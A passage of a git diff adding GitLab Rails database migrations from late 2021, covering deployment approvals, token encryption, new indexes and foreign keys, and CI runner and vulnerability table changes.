+ add_check_constraint(TARGET_TABLE, 'num_nonnulls(requirement_id, issue_id) = 1', CONSTRAINT_NAME)
+ end
+end
diff --git a/db/migrate/20211119194024_add_required_approval_count_to_protected_environments.rb b/db/migrate/20211119194024_add_required_approval_count_to_protected_environments.rb
new file mode 100644
index 00000000000..ca6b78efbc7
--- /dev/null
+++ b/db/migrate/20211119194024_add_required_approval_count_to_protected_environments.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddRequiredApprovalCountToProtectedEnvironments < Gitlab::Database::Migration[1.0]
+ def change
+ add_column :protected_environments, :required_approval_count, :integer, default: 0, null: false
+ end
+end
diff --git a/db/migrate/20211119195201_create_deployment_approvals.rb b/db/migrate/20211119195201_create_deployment_approvals.rb
new file mode 100644
index 00000000000..a238da302f9
--- /dev/null
+++ b/db/migrate/20211119195201_create_deployment_approvals.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class CreateDeploymentApprovals < Gitlab::Database::Migration[1.0]
+ def change
+ create_table :deployment_approvals do |t|
+ t.bigint :deployment_id, null: false
+ t.bigint :user_id, null: false, index: true
+ t.timestamps_with_timezone null: false
+ t.integer :status, limit: 2, null: false
+ t.index [:deployment_id, :user_id], unique: true
+ end
+ end
+end
diff --git a/db/migrate/20211122215001_add_policy_idx_to_approval_merge_request_rule.rb b/db/migrate/20211122215001_add_policy_idx_to_approval_merge_request_rule.rb
new file mode 100644
index 00000000000..b1c7bc4d5ce
--- /dev/null
+++ b/db/migrate/20211122215001_add_policy_idx_to_approval_merge_request_rule.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddPolicyIdxToApprovalMergeRequestRule < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def change
+ add_column :approval_merge_request_rules, :orchestration_policy_idx, :integer, limit: 2
+ end
+end
diff --git a/db/migrate/20211123181236_add_user_foreign_key_to_deployment_approvals.rb b/db/migrate/20211123181236_add_user_foreign_key_to_deployment_approvals.rb
new file mode 100644
index 00000000000..da20e9a8f8e
--- /dev/null
+++ b/db/migrate/20211123181236_add_user_foreign_key_to_deployment_approvals.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddUserForeignKeyToDeploymentApprovals < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :deployment_approvals, :users, column: :user_id
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :deployment_approvals, :users
+ end
+ end
+end
diff --git a/db/migrate/20211123182614_make_iteration_cadences_start_date_nullable.rb b/db/migrate/20211123182614_make_iteration_cadences_start_date_nullable.rb
new file mode 100644
index 00000000000..10a0c6ca402
--- /dev/null
+++ b/db/migrate/20211123182614_make_iteration_cadences_start_date_nullable.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class MakeIterationCadencesStartDateNullable < Gitlab::Database::Migration[1.0]
+ def change
+ change_column_null :iterations_cadences, :start_date, true
+ end
+end
diff --git a/db/migrate/20211124132319_add_encrypted_static_objects_external_storage_auth_token.rb b/db/migrate/20211124132319_add_encrypted_static_objects_external_storage_auth_token.rb
new file mode 100644
index 00000000000..868bc4f14f2
--- /dev/null
+++ b/db/migrate/20211124132319_add_encrypted_static_objects_external_storage_auth_token.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class AddEncryptedStaticObjectsExternalStorageAuthToken < Gitlab::Database::Migration[1.0]
+ def up
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20211126113029_add_text_limit_for_static_objects_external_storage_auth_token
+ add_column :application_settings, :static_objects_external_storage_auth_token_encrypted, :text
+ # rubocop:enable Migration/AddLimitToTextColumns
+ end
+
+ def down
+ remove_column :application_settings, :static_objects_external_storage_auth_token_encrypted
+ end
+end
diff --git a/db/migrate/20211126042235_add_sequence_column_to_sprints_table.rb b/db/migrate/20211126042235_add_sequence_column_to_sprints_table.rb
new file mode 100644
index 00000000000..cbe5dbf99fc
--- /dev/null
+++ b/db/migrate/20211126042235_add_sequence_column_to_sprints_table.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class AddSequenceColumnToSprintsTable < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def up
+ add_column :sprints, :sequence, :integer
+ execute "ALTER TABLE sprints ADD CONSTRAINT sequence_is_unique_per_iterations_cadence_id UNIQUE (iterations_cadence_id, sequence) DEFERRABLE INITIALLY DEFERRED"
+ end
+
+ def down
+ remove_column :sprints, :sequence
+ end
+end
diff --git a/db/migrate/20211126113029_add_text_limit_for_static_objects_external_storage_auth_token.rb b/db/migrate/20211126113029_add_text_limit_for_static_objects_external_storage_auth_token.rb
new file mode 100644
index 00000000000..45c4686e674
--- /dev/null
+++ b/db/migrate/20211126113029_add_text_limit_for_static_objects_external_storage_auth_token.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+class AddTextLimitForStaticObjectsExternalStorageAuthToken < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :application_settings, :static_objects_external_storage_auth_token_encrypted, 255
+ end
+
+ def down
+ remove_text_limit :application_settings, :static_objects_external_storage_auth_token_encrypted
+ end
+end
diff --git a/db/migrate/20211126115449_encrypt_static_objects_external_storage_auth_token.rb b/db/migrate/20211126115449_encrypt_static_objects_external_storage_auth_token.rb
new file mode 100644
index 00000000000..9ce034b0065
--- /dev/null
+++ b/db/migrate/20211126115449_encrypt_static_objects_external_storage_auth_token.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class EncryptStaticObjectsExternalStorageAuthToken < Gitlab::Database::Migration[1.0]
+ class ApplicationSetting < ActiveRecord::Base
+ self.table_name = 'application_settings'
+
+ scope :encrypted_token_is_null, -> { where(static_objects_external_storage_auth_token_encrypted: nil) }
+ scope :encrypted_token_is_not_null, -> { where.not(static_objects_external_storage_auth_token_encrypted: nil) }
+ scope :plaintext_token_is_not_null, -> { where.not(static_objects_external_storage_auth_token: nil) }
+ end
+
+ def up
+ ApplicationSetting.reset_column_information
+
+ ApplicationSetting.encrypted_token_is_null.plaintext_token_is_not_null.find_each do |application_setting|
+ token_encrypted = Gitlab::CryptoHelper.aes256_gcm_encrypt(application_setting.static_objects_external_storage_auth_token)
+ application_setting.update!(static_objects_external_storage_auth_token_encrypted: token_encrypted)
+ end
+ end
+
+ def down
+ ApplicationSetting.reset_column_information
+
+ ApplicationSetting.encrypted_token_is_not_null.find_each do |application_setting|
+ token = Gitlab::CryptoHelper.aes256_gcm_decrypt(application_setting.static_objects_external_storage_auth_token_encrypted)
+ application_setting.update!(static_objects_external_storage_auth_token: token, static_objects_external_storage_auth_token_encrypted: nil)
+ end
+ end
+end
diff --git a/db/migrate/20211126142200_add_encrypted_static_object_token.rb b/db/migrate/20211126142200_add_encrypted_static_object_token.rb
new file mode 100644
index 00000000000..839354244e7
--- /dev/null
+++ b/db/migrate/20211126142200_add_encrypted_static_object_token.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddEncryptedStaticObjectToken < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def up
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20211126142354_add_text_limit_to_encrypted_static_object_token
+ add_column :users, :static_object_token_encrypted, :text # rubocop:disable Migration/AddColumnsToWideTables
+ # rubocop:enable Migration/AddLimitToTextColumns
+ end
+
+ def down
+ remove_column :users, :static_object_token_encrypted
+ end
+end
diff --git a/db/migrate/20211126142354_add_text_limit_to_encrypted_static_object_token.rb b/db/migrate/20211126142354_add_text_limit_to_encrypted_static_object_token.rb
new file mode 100644
index 00000000000..a43e7d9a741
--- /dev/null
+++ b/db/migrate/20211126142354_add_text_limit_to_encrypted_static_object_token.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddTextLimitToEncryptedStaticObjectToken < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :users, :static_object_token_encrypted, 255
+ end
+
+ def down
+ remove_text_limit :users, :static_object_token_encrypted
+ end
+end
diff --git a/db/migrate/20211126204445_add_task_to_work_item_types.rb b/db/migrate/20211126204445_add_task_to_work_item_types.rb
new file mode 100644
index 00000000000..875c2272c6d
--- /dev/null
+++ b/db/migrate/20211126204445_add_task_to_work_item_types.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class AddTaskToWorkItemTypes < Gitlab::Database::Migration[1.0]
+ TASK_ENUM_VALUE = 4
+
+ class WorkItemType < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+ self.table_name = 'work_item_types'
+
+ validates :name, uniqueness: { case_sensitive: false, scope: [:namespace_id] }
+ end
+
+ def up
+ # New instances will not run this migration and add this type via fixtures
+ # checking if record exists mostly because migration specs will run all migrations
+ # and that will conflict with the preloaded base work item types
+ task_work_item = WorkItemType.find_by(name: 'Task', namespace_id: nil)
+
+ if task_work_item
+ say('Task item record exist, skipping creation')
+ else
+ WorkItemType.create(name: 'Task', namespace_id: nil, base_type: TASK_ENUM_VALUE, icon_name: 'issue-type-task')
+ end
+ end
+
+ def down
+ # There's the remote possibility that issues could already be
+ # using this issue type, with a tight foreign constraint.
+ # Therefore we will not attempt to remove any data.
+ end
+end
diff --git a/db/migrate/20211129151155_add_migrated_to_new_structure_column_to_vulnerability_occurrences.rb b/db/migrate/20211129151155_add_migrated_to_new_structure_column_to_vulnerability_occurrences.rb
new file mode 100644
index 00000000000..8c3cf82d7c7
--- /dev/null
+++ b/db/migrate/20211129151155_add_migrated_to_new_structure_column_to_vulnerability_occurrences.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddMigratedToNewStructureColumnToVulnerabilityOccurrences < Gitlab::Database::Migration[1.0]
+ def change
+ add_column :vulnerability_occurrences, :migrated_to_new_structure, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20211129151832_add_index_on_vulnerability_occurrences_migrated_to_new_structure_column.rb b/db/migrate/20211129151832_add_index_on_vulnerability_occurrences_migrated_to_new_structure_column.rb
new file mode 100644
index 00000000000..4cf8263f8f0
--- /dev/null
+++ b/db/migrate/20211129151832_add_index_on_vulnerability_occurrences_migrated_to_new_structure_column.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexOnVulnerabilityOccurrencesMigratedToNewStructureColumn < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'index_vulnerability_occurrences_on_migrated_to_new_structure'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :vulnerability_occurrences, [:migrated_to_new_structure, :id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerability_occurrences, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211130151724_add_foreign_key_to_incident_management_timeline_events_on_note.rb b/db/migrate/20211130151724_add_foreign_key_to_incident_management_timeline_events_on_note.rb
new file mode 100644
index 00000000000..a09409900f7
--- /dev/null
+++ b/db/migrate/20211130151724_add_foreign_key_to_incident_management_timeline_events_on_note.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToIncidentManagementTimelineEventsOnNote < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :incident_management_timeline_events, :notes, column: :promoted_from_note_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :incident_management_timeline_events, column: :promoted_from_note_id
+ end
+ end
+end
diff --git a/db/migrate/20211130205719_add_uniqueness_for_evidence_occurrence_id.rb b/db/migrate/20211130205719_add_uniqueness_for_evidence_occurrence_id.rb
new file mode 100644
index 00000000000..1aca3e7e8e2
--- /dev/null
+++ b/db/migrate/20211130205719_add_uniqueness_for_evidence_occurrence_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddUniquenessForEvidenceOccurrenceId < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'finding_evidences_on_vulnerability_occurrence_id'
+ UNIQUE_INDEX_NAME = 'finding_evidences_on_unique_vulnerability_occurrence_id'
+
+ def up
+ add_concurrent_index :vulnerability_finding_evidences, [:vulnerability_occurrence_id], unique: true, name: UNIQUE_INDEX_NAME
+ remove_concurrent_index :vulnerability_finding_evidences, [:vulnerability_occurrence_id], name: INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerability_finding_evidences, [:vulnerability_occurrence_id], name: INDEX_NAME
+ remove_concurrent_index :vulnerability_finding_evidences, [:vulnerability_occurrence_id], name: UNIQUE_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211201061733_add_future_subscriptions_to_application_settings.rb b/db/migrate/20211201061733_add_future_subscriptions_to_application_settings.rb
new file mode 100644
index 00000000000..9cbbef42327
--- /dev/null
+++ b/db/migrate/20211201061733_add_future_subscriptions_to_application_settings.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddFutureSubscriptionsToApplicationSettings < Gitlab::Database::Migration[1.0]
+ def change
+ add_column :application_settings, :future_subscriptions, :jsonb, null: false, default: []
+ end
+end
diff --git a/db/migrate/20211201143042_create_lfs_object_states.rb b/db/migrate/20211201143042_create_lfs_object_states.rb
new file mode 100644
index 00000000000..91accbcd438
--- /dev/null
+++ b/db/migrate/20211201143042_create_lfs_object_states.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class CreateLfsObjectStates < Gitlab::Database::Migration[1.0]
+ VERIFICATION_STATE_INDEX_NAME = "index_lfs_object_states_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_lfs_object_states_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_lfs_object_states_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_lfs_object_states_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ create_table :lfs_object_states, id: false do |t|
+ t.datetime_with_timezone :verification_started_at
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.references :lfs_object, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure, limit: 255
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+
+ def down
+ drop_table :lfs_object_states
+ end
+end
diff --git a/db/migrate/20211202041233_add_deployment_foreign_key_to_deployment_approvals.rb b/db/migrate/20211202041233_add_deployment_foreign_key_to_deployment_approvals.rb
new file mode 100644
index 00000000000..60bc892d792
--- /dev/null
+++ b/db/migrate/20211202041233_add_deployment_foreign_key_to_deployment_approvals.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddDeploymentForeignKeyToDeploymentApprovals < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :deployment_approvals, :deployments, column: :deployment_id
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :deployment_approvals, :deployments
+ end
+ end
+end
diff --git a/db/migrate/20211202094944_move_loose_fk_deleted_records_to_dynamic_schema.rb b/db/migrate/20211202094944_move_loose_fk_deleted_records_to_dynamic_schema.rb
new file mode 100644
index 00000000000..84bc551d2b5
--- /dev/null
+++ b/db/migrate/20211202094944_move_loose_fk_deleted_records_to_dynamic_schema.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class MoveLooseFkDeletedRecordsToDynamicSchema < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def up
+ if table_exists?('gitlab_partitions_static.loose_foreign_keys_deleted_records_1')
+ execute 'ALTER TABLE gitlab_partitions_static.loose_foreign_keys_deleted_records_1 SET SCHEMA gitlab_partitions_dynamic'
+ end
+ end
+
+ def down
+ if table_exists?('gitlab_partitions_dynamic.loose_foreign_keys_deleted_records_1')
+ execute 'ALTER TABLE gitlab_partitions_dynamic.loose_foreign_keys_deleted_records_1 SET SCHEMA gitlab_partitions_static'
+ end
+ end
+end
diff --git a/db/migrate/20211202135508_add_index_on_packages_build_infos_package_id_pipeline_id.rb b/db/migrate/20211202135508_add_index_on_packages_build_infos_package_id_pipeline_id.rb
new file mode 100644
index 00000000000..47a155d40fa
--- /dev/null
+++ b/db/migrate/20211202135508_add_index_on_packages_build_infos_package_id_pipeline_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexOnPackagesBuildInfosPackageIdPipelineId < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_packages_build_infos_package_id_pipeline_id'
+ OLD_INDEX_NAME = 'idx_packages_build_infos_on_package_id'
+
+ def up
+ add_concurrent_index :packages_build_infos, [:package_id, :pipeline_id], name: INDEX_NAME
+ remove_concurrent_index_by_name :packages_build_infos, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :packages_build_infos, :package_id, name: OLD_INDEX_NAME
+ remove_concurrent_index :packages_build_infos, [:package_id, :pipeline_id], name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211204010826_add_index_snippets_on_project_id_and_title.rb b/db/migrate/20211204010826_add_index_snippets_on_project_id_and_title.rb
new file mode 100644
index 00000000000..35a3a98030a
--- /dev/null
+++ b/db/migrate/20211204010826_add_index_snippets_on_project_id_and_title.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexSnippetsOnProjectIdAndTitle < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_snippets_on_project_id_and_title'
+
+ def up
+ add_concurrent_index :snippets, [:project_id, :title], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :snippets, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211207154413_add_ci_runners_index_on_created_at_where_active_is_false.rb b/db/migrate/20211207154413_add_ci_runners_index_on_created_at_where_active_is_false.rb
new file mode 100644
index 00000000000..da391da33ec
--- /dev/null
+++ b/db/migrate/20211207154413_add_ci_runners_index_on_created_at_where_active_is_false.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddCiRunnersIndexOnCreatedAtWhereActiveIsFalse < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'index_ci_runners_on_created_at_and_id_where_inactive'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_runners, [:created_at, :id], where: 'active = FALSE', order: { created_at: :desc, id: :desc }, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runners, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211207154414_add_ci_runners_index_on_contacted_at_where_active_is_false.rb b/db/migrate/20211207154414_add_ci_runners_index_on_contacted_at_where_active_is_false.rb
new file mode 100644
index 00000000000..e25d3c0dffa
--- /dev/null
+++ b/db/migrate/20211207154414_add_ci_runners_index_on_contacted_at_where_active_is_false.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddCiRunnersIndexOnContactedAtWhereActiveIsFalse < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'index_ci_runners_on_contacted_at_and_id_where_inactive'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_runners, [:contacted_at, :id], where: 'active = FALSE', order: { contacted_at: :desc, id: :desc }, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runners, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211207165508_add_protected_environments_required_approval_count_check_constraint.rb b/db/migrate/20211207165508_add_protected_environments_required_approval_count_check_constraint.rb
new file mode 100644
index 00000000000..fb1339cecfa
--- /dev/null
+++ b/db/migrate/20211207165508_add_protected_environments_required_approval_count_check_constraint.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddProtectedEnvironmentsRequiredApprovalCountCheckConstraint < Gitlab::Database::Migration[1.0]
+ CONSTRAINT_NAME = 'protected_environments_required_approval_count_positive'
+
+ disable_ddl_transaction!
+
+ def up
+ add_check_constraint :protected_environments, 'required_approval_count >= 0', CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint :protected_environments, CONSTRAINT_NAME
+ end
+end
diff --git a/db/migrate/20211208111425_add_executor_type_column_to_ci_runners.rb b/db/migrate/20211208111425_add_executor_type_column_to_ci_runners.rb
new file mode 100644
index 00000000000..1e1fdbdb122
--- /dev/null
+++ b/db/migrate/20211208111425_add_executor_type_column_to_ci_runners.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddExecutorTypeColumnToCiRunners < Gitlab::Database::Migration[1.0]
+ def change
+ add_column :ci_runners, :executor_type, :smallint, null: true
+ end
+end
diff --git a/db/migrate/20211213130324_update_timelogs_spent_at_default.rb b/db/migrate/20211213130324_update_timelogs_spent_at_default.rb
new file mode 100644
index 00000000000..f90b19b5f68
--- /dev/null
+++ b/db/migrate/20211213130324_update_timelogs_spent_at_default.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class UpdateTimelogsSpentAtDefault < Gitlab::Database::Migration[1.0]
+ def change
+ change_column_default(:timelogs, :spent_at, from: nil, to: -> { 'NOW()' })
+ end
+end
diff --git a/db/migrate/20211214110307_remove_temp_index_from_vulnerability_occurrences.rb b/db/migrate/20211214110307_remove_temp_index_from_vulnerability_occurrences.rb
new file mode 100644
index 00000000000..99f985d528c
--- /dev/null
+++ b/db/migrate/20211214110307_remove_temp_index_from_vulnerability_occurrences.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class RemoveTempIndexFromVulnerabilityOccurrences < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'vulnerability_occurrences_location_temp_index'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :vulnerability_occurrences, name: INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerability_occurrences, :id, where: 'location IS NULL', name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210713042000_fix_ci_sources_pipelines_index_names.rb b/db/post_migrate/20210713042000_fix_ci_sources_pipelines_index_names.rb
new file mode 100644
index 00000000000..34701d8ba46
--- /dev/null
+++ b/db/post_migrate/20210713042000_fix_ci_sources_pipelines_index_names.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+# When the `ci_sources_pipelines` table was first introduced in GitLab
+# 9.3 EE, the foreign key names generate for the table appeared to
+# have been calculated via a hash using the table name
+# `ci_pipeline_source_pipelines`. This led to a merge conflict and
+# confusion during a CE to EE merge in GitLab 10.0, which regenerated
+# the schema with the correct foreign key names.
+#
+# Hence anyone who installed GitLab prior to 10.0 may have been seeded
+# the database with stale, incorrect foreign key names.
+#
+# During the Great BigInt Conversion of 2021, several migrations
+# assumed that the foreign key `fk_be5624bf37` existed for
+# `ci_sources_pipeline`. However, older installations may have had the
+# correct foreign key under the name `fk_3f0c88d7dc`.
+#
+# To eliminate future confusion and migration failures, we now rename
+# the foreign key constraints and index to what they should be today.
+class FixCiSourcesPipelinesIndexNames < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ TABLE_NAME = 'ci_sources_pipelines'
+
+ # GitLab 9.5.4: https://gitlab.com/gitlab-org/gitlab/-/blob/v9.5.4-ee/db/schema.rb#L2026-2030
+ # GitLab 10.0: https://gitlab.com/gitlab-org/gitlab/-/blob/v10.0.0-ee/db/schema.rb#L2064-2068
+ OLD_TO_NEW_FOREIGN_KEY_DEFS = {
+ 'fk_3f0c88d7dc' => { table: :ci_builds, column: :source_job_id, name: 'fk_be5624bf37' },
+ 'fk_b8c0fac459' => { table: :ci_pipelines, column: :pipeline_id, name: 'fk_e1bad85861' },
+ 'fk_3a3e3cb83a' => { table: :ci_pipelines, column: :source_pipeline_id, name: 'fk_d4e29af7d7' },
+ 'fk_8868d0f3e4' => { table: :projects, column: :source_project_id, name: 'fk_acd9737679' },
+ 'fk_83b4346e48' => { table: :projects, name: 'fk_1e53c97c0a' }
+ }
+ OLD_INDEX_NAME = 'index_ci_pipeline_source_pipelines_on_source_job_id'
+ NEW_INDEX_NAME = 'index_ci_sources_pipelines_on_source_job_id'
+
+ def up
+ OLD_TO_NEW_FOREIGN_KEY_DEFS.each do |old_name, entry|
+ options = { column: entry[:column], name: old_name }.compact
+
+ if foreign_key_exists?(TABLE_NAME, entry[:table], **options)
+ rename_constraint(TABLE_NAME, old_name, entry[:name])
+ end
+ end
+
+ if index_exists_by_name?(TABLE_NAME, OLD_INDEX_NAME)
+ if index_exists_by_name?(TABLE_NAME, NEW_INDEX_NAME)
+ remove_concurrent_index_by_name(TABLE_NAME, OLD_INDEX_NAME)
+ else
+ rename_index(TABLE_NAME, OLD_INDEX_NAME, NEW_INDEX_NAME)
+ end
+ end
+ end
+
+ # There's no reason to revert this change since it should apply on stale schemas
+ def down; end
+end
diff --git a/db/post_migrate/20211022214523_schedule_recalculate_vulnerability_finding_signatures_for_findings.rb b/db/post_migrate/20211022214523_schedule_recalculate_vulnerability_finding_signatures_for_findings.rb
new file mode 100644
index 00000000000..bccbc4e3209
--- /dev/null
+++ b/db/post_migrate/20211022214523_schedule_recalculate_vulnerability_finding_signatures_for_findings.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class ScheduleRecalculateVulnerabilityFindingSignaturesForFindings < Gitlab::Database::Migration[1.0]
+ MIGRATION = 'RecalculateVulnerabilityFindingSignaturesForFindings'
+ BATCH_SIZE = 1_000
+ DELAY_INTERVAL = 2.minutes
+
+ disable_ddl_transaction!
+
+ def up
+ return unless Gitlab.ee?
+
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('vulnerability_finding_signatures'),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ track_jobs: true
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211023102243_schedule_delete_invalid_epic_issues.rb b/db/post_migrate/20211023102243_schedule_delete_invalid_epic_issues.rb
new file mode 100644
index 00000000000..e08ad8d89d1
--- /dev/null
+++ b/db/post_migrate/20211023102243_schedule_delete_invalid_epic_issues.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class ScheduleDeleteInvalidEpicIssues < Gitlab::Database::Migration[1.0]
+ # This is a now a no-op
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/348477
+
+ def up
+ # no-op
+ end
+
+ def down
+ # also no-op
+ end
+end
diff --git a/db/post_migrate/20211027043206_track_ci_pipeline_deletions.rb b/db/post_migrate/20211027043206_track_ci_pipeline_deletions.rb
new file mode 100644
index 00000000000..3836159c2cd
--- /dev/null
+++ b/db/post_migrate/20211027043206_track_ci_pipeline_deletions.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackCiPipelineDeletions < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:ci_pipelines)
+ end
+
+ def down
+ untrack_record_deletions(:ci_pipelines)
+ end
+end
diff --git a/db/post_migrate/20211027043229_track_ci_build_deletions.rb b/db/post_migrate/20211027043229_track_ci_build_deletions.rb
new file mode 100644
index 00000000000..b76d5f3261c
--- /dev/null
+++ b/db/post_migrate/20211027043229_track_ci_build_deletions.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackCiBuildDeletions < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:ci_builds)
+ end
+
+ def down
+ untrack_record_deletions(:ci_builds)
+ end
+end
diff --git a/db/post_migrate/20211101222614_consume_remaining_user_namespace_jobs.rb b/db/post_migrate/20211101222614_consume_remaining_user_namespace_jobs.rb
new file mode 100644
index 00000000000..ded9e717bb1
--- /dev/null
+++ b/db/post_migrate/20211101222614_consume_remaining_user_namespace_jobs.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class ConsumeRemainingUserNamespaceJobs < Gitlab::Database::Migration[1.0]
+ MIGRATION = 'BackfillUserNamespace'
+ BATCH_SIZE = 200
+ DEFAULT_VALUE = 'User'
+
+ disable_ddl_transaction!
+
+ def up
+ Gitlab::BackgroundMigration.steal(MIGRATION)
+
+ # Do a manual update in case we lost BG jobs. The expected record count should be 0 or very low.
+ define_batchable_model('namespaces').where(type: nil).each_batch(of: BATCH_SIZE) do |batch|
+ min, max = batch.pluck('MIN(id), MAX(id)').flatten
+
+ Gitlab::BackgroundMigration::BackfillUserNamespace.new.perform(min, max, :namespaces, :id, BATCH_SIZE, 0)
+ end
+
+ change_column_null :namespaces, :type, false
+ end
+
+ def down
+ change_column_null :namespaces, :type, true
+ end
+end
diff --git a/db/post_migrate/20211103141403_remove_propagate_service_template_worker.rb b/db/post_migrate/20211103141403_remove_propagate_service_template_worker.rb
new file mode 100644
index 00000000000..d949641dbce
--- /dev/null
+++ b/db/post_migrate/20211103141403_remove_propagate_service_template_worker.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
